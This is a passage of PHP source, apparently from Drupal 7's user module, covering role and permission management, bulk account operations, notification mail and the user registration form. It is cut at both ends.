2903 * Unused parameter required by the token_replace() function.
2904 */
2905function user_mail_tokens(&$replacements, $data, $options) {
2906 if (isset($data['user'])) {
2907 $replacements['[user:one-time-login-url]'] = user_pass_reset_url($data['user']);
2908 $replacements['[user:cancel-url]'] = user_cancel_url($data['user']);
2909 }
2910}
2911
2912/*** Administrative features ***********************************************/
2913
2914/**
2915 * Retrieve an array of roles matching specified conditions.
2916 *
2917 * @param $membersonly
2918 * Set this to TRUE to exclude the 'anonymous' role.
2919 * @param $permission
2920 * A string containing a permission. If set, only roles containing that
2921 * permission are returned.
2922 *
2923 * @return
2924 * An associative array with the role id as the key and the role name as
2925 * value.
2926 */
2927function user_roles($membersonly = FALSE, $permission = NULL) {
2928 $query = db_select('role', 'r');
2929 $query->addTag('translatable');
2930 $query->fields('r', array('rid', 'name'));
2931 $query->orderBy('weight');
2932 $query->orderBy('name');
2933 if (!empty($permission)) {
2934 $query->innerJoin('role_permission', 'p', 'r.rid = p.rid');
2935 $query->condition('p.permission', $permission);
2936 }
2937 $result = $query->execute();
2938
2939 $roles = array();
2940 foreach ($result as $role) {
2941 switch ($role->rid) {
2942 // We only translate the built in role names
2943 case DRUPAL_ANONYMOUS_RID:
2944 if (!$membersonly) {
2945 $roles[$role->rid] = t($role->name);
2946 }
2947 break;
2948 case DRUPAL_AUTHENTICATED_RID:
2949 $roles[$role->rid] = t($role->name);
2950 break;
2951 default:
2952 $roles[$role->rid] = $role->name;
2953 }
2954 }
2955
2956 return $roles;
2957}
2958
2959/**
2960 * Fetches a user role by role ID.
2961 *
2962 * @param $rid
2963 * An integer representing the role ID.
2964 *
2965 * @return
2966 * A fully-loaded role object if a role with the given ID exists, or FALSE
2967 * otherwise.
2968 *
2969 * @see user_role_load_by_name()
2970 */
2971function user_role_load($rid) {
2972 return db_select('role', 'r')
2973 ->fields('r')
2974 ->condition('rid', $rid)
2975 ->execute()
2976 ->fetchObject();
2977}
2978
2979/**
2980 * Fetches a user role by role name.
2981 *
2982 * @param $role_name
2983 * A string representing the role name.
2984 *
2985 * @return
2986 * A fully-loaded role object if a role with the given name exists, or FALSE
2987 * otherwise.
2988 *
2989 * @see user_role_load()
2990 */
2991function user_role_load_by_name($role_name) {
2992 return db_select('role', 'r')
2993 ->fields('r')
2994 ->condition('name', $role_name)
2995 ->execute()
2996 ->fetchObject();
2997}
2998
2999/**
3000 * Save a user role to the database.
3001 *
3002 * @param $role
3003 * A role object to modify or add. If $role->rid is not specified, a new
3004 * role will be created.
3005 * @return
3006 * Status constant indicating if role was created or updated.
3007 * Failure to write the user role record will return FALSE. Otherwise.
3008 * SAVED_NEW or SAVED_UPDATED is returned depending on the operation
3009 * performed.
3010 */
3011function user_role_save($role) {
3012 if ($role->name) {
3013 // Prevent leading and trailing spaces in role names.
3014 $role->name = trim($role->name);
3015 }
3016 if (!isset($role->weight)) {
3017 // Set a role weight to make this new role last.
3018 $query = db_select('role');
3019 $query->addExpression('MAX(weight)');
3020 $role->weight = $query->execute()->fetchField() + 1;
3021 }
3022
3023 // Let modules modify the user role before it is saved to the database.
3024 module_invoke_all('user_role_presave', $role);
3025
3026 if (!empty($role->rid) && $role->name) {
3027 $status = drupal_write_record('role', $role, 'rid');
3028 module_invoke_all('user_role_update', $role);
3029 }
3030 else {
3031 $status = drupal_write_record('role', $role);
3032 module_invoke_all('user_role_insert', $role);
3033 }
3034
3035 // Clear the user access cache.
3036 drupal_static_reset('user_access');
3037 drupal_static_reset('user_role_permissions');
3038
3039 return $status;
3040}
3041
3042/**
3043 * Delete a user role from database.
3044 *
3045 * @param $role
3046 * A string with the role name, or an integer with the role ID.
3047 */
3048function user_role_delete($role) {
3049 if (is_int($role)) {
3050 $role = user_role_load($role);
3051 }
3052 else {
3053 $role = user_role_load_by_name($role);
3054 }
3055
3056 // If this is the administrator role, delete the user_admin_role variable.
3057 if ($role->rid == variable_get('user_admin_role')) {
3058 variable_del('user_admin_role');
3059 }
3060
3061 db_delete('role')
3062 ->condition('rid', $role->rid)
3063 ->execute();
3064 db_delete('role_permission')
3065 ->condition('rid', $role->rid)
3066 ->execute();
3067 // Update the users who have this role set:
3068 db_delete('users_roles')
3069 ->condition('rid', $role->rid)
3070 ->execute();
3071
3072 module_invoke_all('user_role_delete', $role);
3073
3074 // Clear the user access cache.
3075 drupal_static_reset('user_access');
3076 drupal_static_reset('user_role_permissions');
3077}
3078
3079/**
3080 * Menu access callback for user role editing.
3081 */
3082function user_role_edit_access($role) {
3083 // Prevent the system-defined roles from being altered or removed.
3084 if ($role->rid == DRUPAL_ANONYMOUS_RID || $role->rid == DRUPAL_AUTHENTICATED_RID) {
3085 return FALSE;
3086 }
3087
3088 return user_access('administer permissions');
3089}
3090
3091/**
3092 * Determine the modules that permissions belong to.
3093 *
3094 * @return
3095 * An associative array in the format $permission => $module.
3096 */
3097function user_permission_get_modules() {
3098 $permissions = array();
3099 foreach (module_implements('permission') as $module) {
3100 $perms = module_invoke($module, 'permission');
3101 foreach ($perms as $key => $value) {
3102 $permissions[$key] = $module;
3103 }
3104 }
3105 return $permissions;
3106}
3107
3108/**
3109 * Change permissions for a user role.
3110 *
3111 * This function may be used to grant and revoke multiple permissions at once.
3112 * For example, when a form exposes checkboxes to configure permissions for a
3113 * role, the form submit handler may directly pass the submitted values for the
3114 * checkboxes form element to this function.
3115 *
3116 * @param $rid
3117 * The ID of a user role to alter.
3118 * @param $permissions
3119 * An associative array, where the key holds the permission name and the value
3120 * determines whether to grant or revoke that permission. Any value that
3121 * evaluates to TRUE will cause the permission to be granted. Any value that
3122 * evaluates to FALSE will cause the permission to be revoked.
3123 * @code
3124 * array(
3125 * 'administer nodes' => 0, // Revoke 'administer nodes'
3126 * 'administer blocks' => FALSE, // Revoke 'administer blocks'
3127 * 'access user profiles' => 1, // Grant 'access user profiles'
3128 * 'access content' => TRUE, // Grant 'access content'
3129 * 'access comments' => 'access comments', // Grant 'access comments'
3130 * )
3131 * @endcode
3132 * Existing permissions are not changed, unless specified in $permissions.
3133 *
3134 * @see user_role_grant_permissions()
3135 * @see user_role_revoke_permissions()
3136 */
3137function user_role_change_permissions($rid, array $permissions = array()) {
3138 // Grant new permissions for the role.
3139 $grant = array_filter($permissions);
3140 if (!empty($grant)) {
3141 user_role_grant_permissions($rid, array_keys($grant));
3142 }
3143 // Revoke permissions for the role.
3144 $revoke = array_diff_assoc($permissions, $grant);
3145 if (!empty($revoke)) {
3146 user_role_revoke_permissions($rid, array_keys($revoke));
3147 }
3148}
3149
3150/**
3151 * Grant permissions to a user role.
3152 *
3153 * @param $rid
3154 * The ID of a user role to alter.
3155 * @param $permissions
3156 * A list of permission names to grant.
3157 *
3158 * @see user_role_change_permissions()
3159 * @see user_role_revoke_permissions()
3160 */
3161function user_role_grant_permissions($rid, array $permissions = array()) {
3162 $modules = user_permission_get_modules();
3163 // Grant new permissions for the role.
3164 foreach ($permissions as $name) {
3165 db_merge('role_permission')
3166 ->key(array(
3167 'rid' => $rid,
3168 'permission' => $name,
3169 ))
3170 ->fields(array(
3171 'module' => $modules[$name],
3172 ))
3173 ->execute();
3174 }
3175
3176 // Clear the user access cache.
3177 drupal_static_reset('user_access');
3178 drupal_static_reset('user_role_permissions');
3179}
3180
3181/**
3182 * Revoke permissions from a user role.
3183 *
3184 * @param $rid
3185 * The ID of a user role to alter.
3186 * @param $permissions
3187 * A list of permission names to revoke.
3188 *
3189 * @see user_role_change_permissions()
3190 * @see user_role_grant_permissions()
3191 */
3192function user_role_revoke_permissions($rid, array $permissions = array()) {
3193 // Revoke permissions for the role.
3194 db_delete('role_permission')
3195 ->condition('rid', $rid)
3196 ->condition('permission', $permissions, 'IN')
3197 ->execute();
3198
3199 // Clear the user access cache.
3200 drupal_static_reset('user_access');
3201 drupal_static_reset('user_role_permissions');
3202}
3203
3204/**
3205 * Implements hook_user_operations().
3206 */
3207function user_user_operations($form = array(), $form_state = array()) {
3208 $operations = array(
3209 'unblock' => array(
3210 'label' => t('Unblock the selected users'),
3211 'callback' => 'user_user_operations_unblock',
3212 ),
3213 'block' => array(
3214 'label' => t('Block the selected users'),
3215 'callback' => 'user_user_operations_block',
3216 ),
3217 'cancel' => array(
3218 'label' => t('Cancel the selected user accounts'),
3219 ),
3220 );
3221
3222 if (user_access('administer permissions')) {
3223 $roles = user_roles(TRUE);
3224 unset($roles[DRUPAL_AUTHENTICATED_RID]); // Can't edit authenticated role.
3225
3226 $add_roles = array();
3227 foreach ($roles as $key => $value) {
3228 $add_roles['add_role-' . $key] = $value;
3229 }
3230
3231 $remove_roles = array();
3232 foreach ($roles as $key => $value) {
3233 $remove_roles['remove_role-' . $key] = $value;
3234 }
3235
3236 if (count($roles)) {
3237 $role_operations = array(
3238 t('Add a role to the selected users') => array(
3239 'label' => $add_roles,
3240 ),
3241 t('Remove a role from the selected users') => array(
3242 'label' => $remove_roles,
3243 ),
3244 );
3245
3246 $operations += $role_operations;
3247 }
3248 }
3249
3250 // If the form has been posted, we need to insert the proper data for
3251 // role editing if necessary.
3252 if (!empty($form_state['submitted'])) {
3253 $operation_rid = explode('-', $form_state['values']['operation']);
3254 $operation = $operation_rid[0];
3255 if ($operation == 'add_role' || $operation == 'remove_role') {
3256 $rid = $operation_rid[1];
3257 if (user_access('administer permissions')) {
3258 $operations[$form_state['values']['operation']] = array(
3259 'callback' => 'user_multiple_role_edit',
3260 'callback arguments' => array($operation, $rid),
3261 );
3262 }
3263 else {
3264 watchdog('security', 'Detected malicious attempt to alter protected user fields.', array(), WATCHDOG_WARNING);
3265 return;
3266 }
3267 }
3268 }
3269
3270 return $operations;
3271}
3272
3273/**
3274 * Callback function for admin mass unblocking users.
3275 */
3276function user_user_operations_unblock($accounts) {
3277 $accounts = user_load_multiple($accounts);
3278 foreach ($accounts as $account) {
3279 // Skip unblocking user if they are already unblocked.
3280 if ($account !== FALSE && $account->status == 0) {
3281 user_save($account, array('status' => 1));
3282 }
3283 }
3284}
3285
3286/**
3287 * Callback function for admin mass blocking users.
3288 */
3289function user_user_operations_block($accounts) {
3290 $accounts = user_load_multiple($accounts);
3291 foreach ($accounts as $account) {
3292 // Skip blocking user if they are already blocked.
3293 if ($account !== FALSE && $account->status == 1) {
3294 // For efficiency manually save the original account before applying any
3295 // changes.
3296 $account->original = clone $account;
3297 user_save($account, array('status' => 0));
3298 }
3299 }
3300}
3301
3302/**
3303 * Callback function for admin mass adding/deleting a user role.
3304 */
3305function user_multiple_role_edit($accounts, $operation, $rid) {
3306 // The role name is not necessary as user_save() will reload the user
3307 // object, but some modules' hook_user() may look at this first.
3308 $role_name = db_query('SELECT name FROM {role} WHERE rid = :rid', array(':rid' => $rid))->fetchField();
3309
3310 switch ($operation) {
3311 case 'add_role':
3312 $accounts = user_load_multiple($accounts);
3313 foreach ($accounts as $account) {
3314 // Skip adding the role to the user if they already have it.
3315 if ($account !== FALSE && !isset($account->roles[$rid])) {
3316 $roles = $account->roles + array($rid => $role_name);
3317 // For efficiency manually save the original account before applying
3318 // any changes.
3319 $account->original = clone $account;
3320 user_save($account, array('roles' => $roles));
3321 }
3322 }
3323 break;
3324 case 'remove_role':
3325 $accounts = user_load_multiple($accounts);
3326 foreach ($accounts as $account) {
3327 // Skip removing the role from the user if they already don't have it.
3328 if ($account !== FALSE && isset($account->roles[$rid])) {
3329 $roles = array_diff($account->roles, array($rid => $role_name));
3330 // For efficiency manually save the original account before applying
3331 // any changes.
3332 $account->original = clone $account;
3333 user_save($account, array('roles' => $roles));
3334 }
3335 }
3336 break;
3337 }
3338}
3339
3340function user_multiple_cancel_confirm($form, &$form_state) {
3341 $edit = $form_state['input'];
3342
3343 $form['accounts'] = array('#prefix' => '<ul>', '#suffix' => '</ul>', '#tree' => TRUE);
3344 $accounts = user_load_multiple(array_keys(array_filter($edit['accounts'])));
3345 foreach ($accounts as $uid => $account) {
3346 // Prevent user 1 from being canceled.
3347 if ($uid <= 1) {
3348 continue;
3349 }
3350 $form['accounts'][$uid] = array(
3351 '#type' => 'hidden',
3352 '#value' => $uid,
3353 '#prefix' => '<li>',
3354 '#suffix' => check_plain($account->name) . "</li>\n",
3355 );
3356 }
3357
3358 // Output a notice that user 1 cannot be canceled.
3359 if (isset($accounts[1])) {
3360 $redirect = (count($accounts) == 1);
3361 $message = t('The user account %name cannot be cancelled.', array('%name' => $accounts[1]->name));
3362 drupal_set_message($message, $redirect ? 'error' : 'warning');
3363 // If only user 1 was selected, redirect to the overview.
3364 if ($redirect) {
3365 drupal_goto('admin/people');
3366 }
3367 }
3368
3369 $form['operation'] = array('#type' => 'hidden', '#value' => 'cancel');
3370
3371 module_load_include('inc', 'user', 'user.pages');
3372 $form['user_cancel_method'] = array(
3373 '#type' => 'item',
3374 '#title' => t('When cancelling these accounts'),
3375 );
3376 $form['user_cancel_method'] += user_cancel_methods();
3377 // Remove method descriptions.
3378 foreach (element_children($form['user_cancel_method']) as $element) {
3379 unset($form['user_cancel_method'][$element]['#description']);
3380 }
3381
3382 // Allow to send the account cancellation confirmation mail.
3383 $form['user_cancel_confirm'] = array(
3384 '#type' => 'checkbox',
3385 '#title' => t('Require e-mail confirmation to cancel account.'),
3386 '#default_value' => FALSE,
3387 '#description' => t('When enabled, the user must confirm the account cancellation via e-mail.'),
3388 );
3389 // Also allow to send account canceled notification mail, if enabled.
3390 $form['user_cancel_notify'] = array(
3391 '#type' => 'checkbox',
3392 '#title' => t('Notify user when account is canceled.'),
3393 '#default_value' => FALSE,
3394 '#access' => variable_get('user_mail_status_canceled_notify', FALSE),
3395 '#description' => t('When enabled, the user will receive an e-mail notification after the account has been cancelled.'),
3396 );
3397
3398 return confirm_form($form,
3399 t('Are you sure you want to cancel these user accounts?'),
3400 'admin/people', t('This action cannot be undone.'),
3401 t('Cancel accounts'), t('Cancel'));
3402}
3403
3404/**
3405 * Submit handler for mass-account cancellation form.
3406 *
3407 * @see user_multiple_cancel_confirm()
3408 * @see user_cancel_confirm_form_submit()
3409 */
3410function user_multiple_cancel_confirm_submit($form, &$form_state) {
3411 global $user;
3412
3413 if ($form_state['values']['confirm']) {
3414 foreach ($form_state['values']['accounts'] as $uid => $value) {
3415 // Prevent programmatic form submissions from cancelling user 1.
3416 if ($uid <= 1) {
3417 continue;
3418 }
3419 // Prevent user administrators from deleting themselves without confirmation.
3420 if ($uid == $user->uid) {
3421 $admin_form_state = $form_state;
3422 unset($admin_form_state['values']['user_cancel_confirm']);
3423 $admin_form_state['values']['_account'] = $user;
3424 user_cancel_confirm_form_submit(array(), $admin_form_state);
3425 }
3426 else {
3427 user_cancel($form_state['values'], $uid, $form_state['values']['user_cancel_method']);
3428 }
3429 }
3430 }
3431 $form_state['redirect'] = 'admin/people';
3432}
3433
3434/**
3435 * Retrieve a list of all user setting/information categories and sort them by weight.
3436 */
3437function _user_categories() {
3438 $categories = module_invoke_all('user_categories');
3439 usort($categories, '_user_sort');
3440
3441 return $categories;
3442}
3443
3444function _user_sort($a, $b) {
3445 $a = (array) $a + array('weight' => 0, 'title' => '');
3446 $b = (array) $b + array('weight' => 0, 'title' => '');
3447 return $a['weight'] < $b['weight'] ? -1 : ($a['weight'] > $b['weight'] ? 1 : ($a['title'] < $b['title'] ? -1 : 1));
3448}
3449
3450/**
3451 * List user administration filters that can be applied.
3452 */
3453function user_filters() {
3454 // Regular filters
3455 $filters = array();
3456 $roles = user_roles(TRUE);
3457 unset($roles[DRUPAL_AUTHENTICATED_RID]); // Don't list authorized role.
3458 if (count($roles)) {
3459 $filters['role'] = array(
3460 'title' => t('role'),
3461 'field' => 'ur.rid',
3462 'options' => array(
3463 '[any]' => t('any'),
3464 ) + $roles,
3465 );
3466 }
3467
3468 $options = array();
3469 foreach (module_implements('permission') as $module) {
3470 $function = $module . '_permission';
3471 if ($permissions = $function()) {
3472 asort($permissions);
3473 foreach ($permissions as $permission => $description) {
3474 $options[t('@module module', array('@module' => $module))][$permission] = t($permission);
3475 }
3476 }
3477 }
3478 ksort($options);
3479 $filters['permission'] = array(
3480 'title' => t('permission'),
3481 'options' => array(
3482 '[any]' => t('any'),
3483 ) + $options,
3484 );
3485
3486 $filters['status'] = array(
3487 'title' => t('status'),
3488 'field' => 'u.status',
3489 'options' => array(
3490 '[any]' => t('any'),
3491 1 => t('active'),
3492 0 => t('blocked'),
3493 ),
3494 );
3495 return $filters;
3496}
3497
3498/**
3499 * Extends a query object for user administration filters based on session.
3500 *
3501 * @param $query
3502 * Query object that should be filtered.
3503 */
3504function user_build_filter_query(SelectQuery $query) {
3505 $filters = user_filters();
3506 // Extend Query with filter conditions.
3507 foreach (isset($_SESSION['user_overview_filter']) ? $_SESSION['user_overview_filter'] : array() as $filter) {
3508 list($key, $value) = $filter;
3509 // This checks to see if this permission filter is an enabled permission for
3510 // the authenticated role. If so, then all users would be listed, and we can
3511 // skip adding it to the filter query.
3512 if ($key == 'permission') {
3513 $account = new stdClass();
3514 $account->uid = 'user_filter';
3515 $account->roles = array(DRUPAL_AUTHENTICATED_RID => 1);
3516 if (user_access($value, $account)) {
3517 continue;
3518 }
3519 $users_roles_alias = $query->join('users_roles', 'ur', '%alias.uid = u.uid');
3520 $permission_alias = $query->join('role_permission', 'p', $users_roles_alias . '.rid = %alias.rid');
3521 $query->condition($permission_alias . '.permission', $value);
3522 }
3523 elseif ($key == 'role') {
3524 $users_roles_alias = $query->join('users_roles', 'ur', '%alias.uid = u.uid');
3525 $query->condition($users_roles_alias . '.rid' , $value);
3526 }
3527 else {
3528 $query->condition($filters[$key]['field'], $value);
3529 }
3530 }
3531}
3532
3533/**
3534 * Implements hook_comment_view().
3535 */
3536function user_comment_view($comment) {
3537 if (variable_get('user_signatures', 0) && !empty($comment->signature)) {
3538 // @todo This alters and replaces the original object value, so a
3539 // hypothetical process of loading, viewing, and saving will hijack the
3540 // stored data. Consider renaming to $comment->signature_safe or similar
3541 // here and elsewhere in Drupal 8.
3542 $comment->signature = check_markup($comment->signature, $comment->signature_format, '', TRUE);
3543 }
3544 else {
3545 $comment->signature = '';
3546 }
3547}
3548
3549/**
3550 * Returns HTML for a user signature.
3551 *
3552 * @param $variables
3553 * An associative array containing:
3554 * - signature: The user's signature.
3555 *
3556 * @ingroup themeable
3557 */
3558function theme_user_signature($variables) {
3559 $signature = $variables['signature'];
3560 $output = '';
3561
3562 if ($signature) {
3563 $output .= '<div class="clear">';
3564 $output .= '<div>—</div>';
3565 $output .= $signature;
3566 $output .= '</div>';
3567 }
3568
3569 return $output;
3570}
3571
3572/**
3573 * Get the language object preferred by the user. This user preference can
3574 * be set on the user account editing page, and is only available if there
3575 * are more than one languages enabled on the site. If the user did not
3576 * choose a preferred language, or is the anonymous user, the $default
3577 * value, or if it is not set, the site default language will be returned.
3578 *
3579 * @param $account
3580 * User account to look up language for.
3581 * @param $default
3582 * Optional default language object to return if the account
3583 * has no valid language.
3584 */
3585function user_preferred_language($account, $default = NULL) {
3586 $language_list = language_list();
3587 if (!empty($account->language) && isset($language_list[$account->language])) {
3588 return $language_list[$account->language];
3589 }
3590 else {
3591 return $default ? $default : language_default();
3592 }
3593}
3594
3595/**
3596 * Conditionally create and send a notification email when a certain
3597 * operation happens on the given user account.
3598 *
3599 * @see user_mail_tokens()
3600 * @see drupal_mail()
3601 *
3602 * @param $op
3603 * The operation being performed on the account. Possible values:
3604 * - 'register_admin_created': Welcome message for user created by the admin.
3605 * - 'register_no_approval_required': Welcome message when user
3606 * self-registers.
3607 * - 'register_pending_approval': Welcome message, user pending admin
3608 * approval.
3609 * - 'password_reset': Password recovery request.
3610 * - 'status_activated': Account activated.
3611 * - 'status_blocked': Account blocked.
3612 * - 'cancel_confirm': Account cancellation request.
3613 * - 'status_canceled': Account canceled.
3614 *
3615 * @param $account
3616 * The user object of the account being notified. Must contain at
3617 * least the fields 'uid', 'name', and 'mail'.
3618 * @param $language
3619 * Optional language to use for the notification, overriding account language.
3620 *
3621 * @return
3622 * The return value from drupal_mail_system()->mail(), if ends up being
3623 * called.
3624 */
3625function _user_mail_notify($op, $account, $language = NULL) {
3626 // By default, we always notify except for canceled and blocked.
3627 $default_notify = ($op != 'status_canceled' && $op != 'status_blocked');
3628 $notify = variable_get('user_mail_' . $op . '_notify', $default_notify);
3629 if ($notify) {
3630 $params['account'] = $account;
3631 $language = $language ? $language : user_preferred_language($account);
3632 $mail = drupal_mail('user', $op, $account->mail, $language, $params);
3633 if ($op == 'register_pending_approval') {
3634 // If a user registered requiring admin approval, notify the admin, too.
3635 // We use the site default language for this.
3636 drupal_mail('user', 'register_pending_approval_admin', variable_get('site_mail', ini_get('sendmail_from')), language_default(), $params);
3637 }
3638 }
3639 return empty($mail) ? NULL : $mail['result'];
3640}
3641
3642/**
3643 * Form element process handler for client-side password validation.
3644 *
3645 * This #process handler is automatically invoked for 'password_confirm' form
3646 * elements to add the JavaScript and string translations for dynamic password
3647 * validation.
3648 *
3649 * @see system_element_info()
3650 */
3651function user_form_process_password_confirm($element) {
3652 global $user;
3653
3654 $js_settings = array(
3655 'password' => array(
3656 'strengthTitle' => t('Password strength:'),
3657 'hasWeaknesses' => t('To make your password stronger:'),
3658 'tooShort' => t('Make it at least 6 characters'),
3659 'addLowerCase' => t('Add lowercase letters'),
3660 'addUpperCase' => t('Add uppercase letters'),
3661 'addNumbers' => t('Add numbers'),
3662 'addPunctuation' => t('Add punctuation'),
3663 'sameAsUsername' => t('Make it different from your username'),
3664 'confirmSuccess' => t('yes'),
3665 'confirmFailure' => t('no'),
3666 'weak' => t('Weak'),
3667 'fair' => t('Fair'),
3668 'good' => t('Good'),
3669 'strong' => t('Strong'),
3670 'confirmTitle' => t('Passwords match:'),
3671 'username' => (isset($user->name) ? $user->name : ''),
3672 ),
3673 );
3674
3675 $element['#attached']['js'][] = drupal_get_path('module', 'user') . '/user.js';
3676 $element['#attached']['js'][] = array('data' => $js_settings, 'type' => 'setting');
3677
3678 return $element;
3679}
3680
3681/**
3682 * Implements hook_node_load().
3683 */
3684function user_node_load($nodes, $types) {
3685 // Build an array of all uids for node authors, keyed by nid.
3686 $uids = array();
3687 foreach ($nodes as $nid => $node) {
3688 $uids[$nid] = $node->uid;
3689 }
3690
3691 // Fetch name, picture, and data for these users.
3692 $user_fields = db_query("SELECT uid, name, picture, data FROM {users} WHERE uid IN (:uids)", array(':uids' => $uids))->fetchAllAssoc('uid');
3693
3694 // Add these values back into the node objects.
3695 foreach ($uids as $nid => $uid) {
3696 $nodes[$nid]->name = $user_fields[$uid]->name;
3697 $nodes[$nid]->picture = $user_fields[$uid]->picture;
3698 $nodes[$nid]->data = $user_fields[$uid]->data;
3699 }
3700}
3701
3702/**
3703 * Implements hook_image_style_delete().
3704 */
3705function user_image_style_delete($style) {
3706 // If a style is deleted, update the variables.
3707 // Administrators choose a replacement style when deleting.
3708 user_image_style_save($style);
3709}
3710
3711/**
3712 * Implements hook_image_style_save().
3713 */
3714function user_image_style_save($style) {
3715 // If a style is renamed, update the variables that use it.
3716 if (isset($style['old_name']) && $style['old_name'] == variable_get('user_picture_style', '')) {
3717 variable_set('user_picture_style', $style['name']);
3718 }
3719}
3720
3721/**
3722 * Implements hook_action_info().
3723 */
3724function user_action_info() {
3725 return array(
3726 'user_block_user_action' => array(
3727 'label' => t('Block current user'),
3728 'type' => 'user',
3729 'configurable' => FALSE,
3730 'triggers' => array('any'),
3731 ),
3732 );
3733}
3734
3735/**
3736 * Blocks a specific user or the current user, if one is not specified.
3737 *
3738 * @param $entity
3739 * (optional) An entity object; if it is provided and it has a uid property,
3740 * the user with that ID is blocked.
3741 * @param $context
3742 * (optional) An associative array; if no user ID is found in $entity, the
3743 * 'uid' element of this array determines the user to block.
3744 *
3745 * @ingroup actions
3746 */
3747function user_block_user_action(&$entity, $context = array()) {
3748 // First priority: If there is a $entity->uid, block that user.
3749 // This is most likely a user object or the author if a node or comment.
3750 if (isset($entity->uid)) {
3751 $uid = $entity->uid;
3752 }
3753 elseif (isset($context['uid'])) {
3754 $uid = $context['uid'];
3755 }
3756 // If neither of those are valid, then block the current user.
3757 else {
3758 $uid = $GLOBALS['user']->uid;
3759 }
3760 $account = user_load($uid);
3761 $account = user_save($account, array('status' => 0));
3762 watchdog('action', 'Blocked user %name.', array('%name' => $account->name));
3763}
3764
3765/**
3766 * Implements hook_form_FORM_ID_alter().
3767 *
3768 * Add a checkbox for the 'user_register_form' instance settings on the 'Edit
3769 * field instance' form.
3770 */
3771function user_form_field_ui_field_edit_form_alter(&$form, &$form_state, $form_id) {
3772 $instance = $form['#instance'];
3773
3774 if ($instance['entity_type'] == 'user' && !$form['#field']['locked']) {
3775 $form['instance']['settings']['user_register_form'] = array(
3776 '#type' => 'checkbox',
3777 '#title' => t('Display on user registration form.'),
3778 '#description' => t("This is compulsory for 'required' fields."),
3779 // Field instances created in D7 beta releases before the setting was
3780 // introduced might be set as 'required' and 'not shown on user_register
3781 // form'. We make sure the checkbox comes as 'checked' for those.
3782 '#default_value' => $instance['settings']['user_register_form'] || $instance['required'],
3783 // Display just below the 'required' checkbox.
3784 '#weight' => $form['instance']['required']['#weight'] + .1,
3785 // Disabled when the 'required' checkbox is checked.
3786 '#states' => array(
3787 'enabled' => array('input[name="instance[required]"]' => array('checked' => FALSE)),
3788 ),
3789 // Checked when the 'required' checkbox is checked. This is done through
3790 // a custom behavior, since the #states system would also synchronize on
3791 // uncheck.
3792 '#attached' => array(
3793 'js' => array(drupal_get_path('module', 'user') . '/user.js'),
3794 ),
3795 );
3796
3797 array_unshift($form['#submit'], 'user_form_field_ui_field_edit_form_submit');
3798 }
3799}
3800
3801/**
3802 * Additional submit handler for the 'Edit field instance' form.
3803 *
3804 * Make sure the 'user_register_form' setting is set for required fields.
3805 */
3806function user_form_field_ui_field_edit_form_submit($form, &$form_state) {
3807 $instance = $form_state['values']['instance'];
3808
3809 if (!empty($instance['required'])) {
3810 form_set_value($form['instance']['settings']['user_register_form'], 1, $form_state);
3811 }
3812}
3813
3814/**
3815 * Form builder; the user registration form.
3816 *
3817 * @ingroup forms
3818 * @see user_account_form()
3819 * @see user_account_form_validate()
3820 * @see user_register_submit()
3821 */
3822function user_register_form($form, &$form_state) {
3823 global $user;
3824
3825 $admin = user_access('administer users');
3826
3827 // Pass access information to the submit handler. Running an access check
3828 // inside the submit function interferes with form processing and breaks
3829 // hook_form_alter().
3830 $form['administer_users'] = array(
3831 '#type' => 'value',
3832 '#value' => $admin,
3833 );
3834
3835 // If we aren't admin but already logged on, go to the user page instead.
3836 if (!$admin && $user->uid) {
3837 drupal_goto('user/' . $user->uid);
3838 }
3839
3840 $form['#user'] = drupal_anonymous_user();
3841 $form['#user_category'] = 'register';
3842
3843 $form['#attached']['library'][] = array('system', 'jquery.cookie');
3844 $form['#attributes']['class'][] = 'user-info-from-cookie';
3845
3846 // Start with the default user account fields.
3847 user_account_form($form, $form_state);
3848
3849 // Attach field widgets, and hide the ones where the 'user_register_form'
3850 // setting is not on.
3851 $langcode = entity_language('user', $form['#user']);
3852 field_attach_form('user', $form['#user'], $form, $form_state, $langcode);
3853 foreach (field_info_instances('user', 'user') as $field_name => $instance) {
3854 if (empty($instance['settings']['user_register_form'])) {
3855 $form[$field_name]['#access'] = FALSE;
3856 }
3857 }
3858
3859 if ($admin) {
3860 // Redirect back to page which initiated the create request;
3861 // usually admin/people/create.
3862 $form_state['redirect'] = $_GET['q'];
3863 }
3864
3865 $form['actions'] = array('#type' => 'actions');
3866 $form['actions']['submit'] = array(
3867 '#type' => 'submit',
3868 '#value' => t('Create new account'),
3869 );
3870
3871 $form['#validate'][] = 'user_register_validate';
3872 // Add the final user registration form submit handler.
3873 $form['#submit'][] = 'user_register_submit';
3874
3875 return $form;
3876}
3877
3878/**
3879 * Validation function for the user registration form.
3880 */
3881function user_register_validate($form, &$form_state) {
3882 entity_form_field_validate('user', $form, $form_state);
3883}
3884
3885/**
3886 * Submit handler for the user registration form.
3887 *
3888 * This function is shared by the installation form and the normal registration form,
3889 * which is why it can't be in the user.pages.inc file.
3890 *
3891 * @see user_register_form()
3892 */
3893function user_register_submit($form, &$form_state) {
3894 $admin = $form_state['values']['administer_users'];
3895
3896 if (!variable_get('user_email_verification', TRUE) || $admin) {
3897 $pass = $form_state['values']['pass'];
3898 }
3899 else {
3900 $pass = user_password();
3901 }
3902 $notify = !empty($form_state['values']['notify']);
3903
3904 // Remove unneeded values.
3905 form_state_values_clean($form_state);
3906
3907 $form_state['values']['pass'] = $pass;
3908 $form_state['values']['init'] = $form_state['values']['mail'];
3909
3910 $account = $form['#user'];
3911
3912 entity_form_submit_build_entity('user', $account, $form, $form_state);
3913
3914 // Populate $edit with the properties of $account, which have been edited on
3915 // this form by taking over all values, which appear in the form values too.
3916 $edit = array_intersect_key((array) $account, $form_state['values']);
3917 $account = user_save($account, $edit);
3918
3919 // Terminate if an error occurred during user_save().
3920 if (!$account) {
3921 drupal_set_message(t("Error saving user account."), 'error');
3922 $form_state['redirect'] = '';
3923 return;
3924 }
3925 $form_state['user'] = $account;
3926 $form_state['values']['uid'] = $account->uid;
3927
3928 watchdog('user', 'New user: %name (%email).', array('%name' => $form_state['values']['name'], '%email' => $form_state['values']['mail']), WATCHDOG_NOTICE, l(t('edit'), 'user/' . $account->uid . '/edit'));
3929
3930 // Add plain text password into user account to generate mail tokens.
3931 $account->password = $pass;
3932
3933 // New administrative account without notification.
3934 $uri = entity_uri('user', $account);
3935 if ($admin && !$notify) {
3936 drupal_set_message(t('Created a new user account for <a href="@url">%name</a>. No e-mail has been sent.', array('@url' => url($uri['path'], $uri['options']), '%name' => $account->name)));
3937 }
3938 // No e-mail verification required; log in user immediately.
3939 elseif (!$admin && !variable_get('user_email_verification', TRUE) && $account->status) {
3940 _user_mail_notify('register_no_approval_required', $account);
